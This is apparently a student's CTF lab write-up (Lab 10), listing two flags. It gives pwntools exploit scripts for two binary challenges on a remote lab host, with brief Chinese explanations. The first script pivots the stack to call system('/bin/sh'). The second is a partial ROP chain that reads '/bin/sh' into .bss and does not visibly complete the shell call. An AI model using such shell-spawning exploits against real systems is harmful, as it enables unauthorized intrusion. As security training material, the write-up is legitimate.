Lab 10

Flag1：flag{find_return_address_and_find_everything}

Flag2：flag{rop_is_easy_is_it}

Task1：

```
from pwn import *

p = remote('106.15.186.69',50021)
p.recvuntil("Look, here is a gift: 0x")

stack_addr = int(p.recvline().strip("\n"),16)
system = 0x08048559

payload = p32(system) + p32(stack_addr + 0xc)*2
payload += "/bin/sh\x00"
payload = payload.ljust(0x24,'\x00')
payload += p32(stack_addr+4)

p.send(payload)
p.interactive()
```

本题主要难点在于目标文件中存在一个隐藏的栈迁移操作，我们必须在操作栈时将该操作考虑在内。同时由于文件中存在对 SYSTEM 函数的调用，我们只要在栈上构造对该函数的调用，并传入“/bin/sh”字符串，再在原本的返回值处调用栈地址即可。

Task2：

```
from pwn import*

r = remote("106.15.186.69",50022)
r.recvuntil("shell\n")

elf = ELF('./task2')
read_plt = elf.plt['read']
pop_rdi = 0x400823
pop_rsi_r15 = 0x400821

payload = 'A'* 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x0000000000601080) + p64(0) + p64(read_plt)
+ p64(elf.sym['main'])
```

```
pause()
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
```

本题需要使用 ROP 编程，通过构造指令，将原先的函数全部弹出，再将“/bin/sh”写入.bss 段中 hint 储存地址，再重新调用 main 函数。